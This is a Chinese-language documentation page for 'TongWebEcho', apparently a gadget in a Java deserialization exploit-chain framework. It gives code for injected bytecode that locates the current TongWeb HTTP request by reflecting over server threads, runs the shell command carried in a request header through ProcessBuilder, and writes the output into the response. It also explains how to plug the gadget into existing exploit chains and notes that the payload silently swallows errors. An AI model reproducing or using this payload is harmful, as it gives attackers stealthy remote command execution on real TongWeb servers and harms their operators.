- 类别:bytecode 别名:— 优先级:—
- 作者:ReaJason
- 依赖:无(生成的字节码仅依赖目标 TongWeb 运行时自身的类)
生成一段“自执行”字节码:该类被目标 JVM 加载后,其静态初始化块自动实例化,构造函数遍历线程抓取东方通 TongWeb(6/7/8)当前正在处理的 HTTP 请求,从指定请求头读取命令、用 ProcessBuilder 执行,并把结果直接写回同一个响应流,实现无内存马的明文命令回显。是链尾 sink(END),用于替代单纯执行命令的 Exec。
- 入口
tags:Bytecode(本 gadget 产出的是原始字节码字节,可被Bytecode消费者装载)、Echo(回显类 sink)、END(链终点,其后不再有 gadget)。 - 衔接
nextTags:空 —— 终点构件,不再向下衔接。 excludes:无。
gadget 本体极薄,只负责把模板类改写成携带用户参数的字节码:
@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(TongWebEchoBytecode.class);
javassistHelper.modifyStringField("header", this.header); // 把模板里的 static String header 改成用户值
return javassistHelper.getBytecode(); // 返回改写后的类字节
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END 构件:调用内层仅为协议一致,返回值被丢弃
return this.getObject();
}JavassistHelper 以 TongWebEchoBytecode.class 为模板,用 Javassist 把它的静态字段 header 常量替换为攻击者设定的值,再吐出 byte[] 类字节。这段字节最终由上游的字节码装载器(如 BytecodeConvert → TemplatesImpl)在目标端 defineClass 并触发实例化。
真正的回显逻辑在模板类的构造函数中(被 static { new TongWebEchoBytecode(); } 自动触发):
// TongWebEchoBytecode.java(关键片段)
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Object poller = getFieldValue(thread, "target");
String threadName = thread.getName();
if (poller == null || (!threadName.contains("Poller") && !threadName.contains("Acceptor"))) continue;
// 顺着 Poller/Acceptor 线程 -> handler -> global -> processors 拿到每个连接的 coyoteRequest
Object requestGroupInfo = getFieldValue(getFieldValue(getFieldValue(poller,"this$0"),"handler"),"global");
List processors = (List) getFieldValue(requestGroupInfo, "processors");
for (Object processor : processors) {
Object coyoteRequest = getFieldValue(processor, "req");
if (tryWriteRes(coyoteRequest)) return;
}
// 备选路径:Poller 的 selector.keys -> attachment.currentProcessor.request
}private boolean tryWriteRes(Object coyoteRequest) throws Exception {
Object request = invokeMethod(coyoteRequest, "getNote", new Class[]{int.class}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(this.run(data)); // 执行命令并写回
writer.flush(); writer.close();
return true;
}
return false;
}run(data) 按操作系统拼 cmd.exe /c 或 /bin/sh -c,用 new ProcessBuilder(cmd).redirectErrorStream(true).start() 执行,并用 Scanner(...).useDelimiter("\\A").next() 收全部输出。要点:
- 线程扫描定位请求:TongWeb 基于 Tomcat Coyote 架构,通过
Poller/Acceptor线程 →handler.global.processors反射取到当前coyoteRequest,再经getNote(1)拿到 Servlet 层 request;这是它区别于其它中间件 Echo 模板的关键。 - 命令载体是请求头:命令写在名为
header(默认X-Authorization)的请求头里,触发同一次请求即可回显,不落地、无需注册 filter/servlet。 - 全程
try/catch吞异常,加载失败静默返回,不影响其它 gadget。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
header |
请求头 key | 承载待执行命令的 HTTP 请求头名 | X-Authorization |
任意合法头名 |
- description 明确:适配 TongWeb 6/7/8 版本。反射字段路径(
Poller/Acceptor、handler.global.processors、getNote(1))与东方通对应版本的 Coyote 实现相关,跨大版本可能失效。 - 属明文回显:直接把命令输出写进当前响应体,与内存马不同,一次请求一次结果,不驻留。
- 需要满足两点才能生效:字节码能被目标端加载并实例化(通常经
TemplatesImpl),且触发请求携带正确的header头。
自由构件,未直接出现在 51 条预设链中。用法:将“命令执行”类链(如 [BytecodeConvert, Exec])的 sink 从 Exec 换成 TongWebEcho,即从盲执行升级为带回显执行。
- 上游(消费
Bytecode):BytecodeConvert 及其它字节码装载器(TemplatesImpl系列)。 - 同族 Echo sink:UndertowEcho、WebLogicEcho、WebSphereEcho、TomcatEcho。
- 可替代:Exec(无回显命令执行)。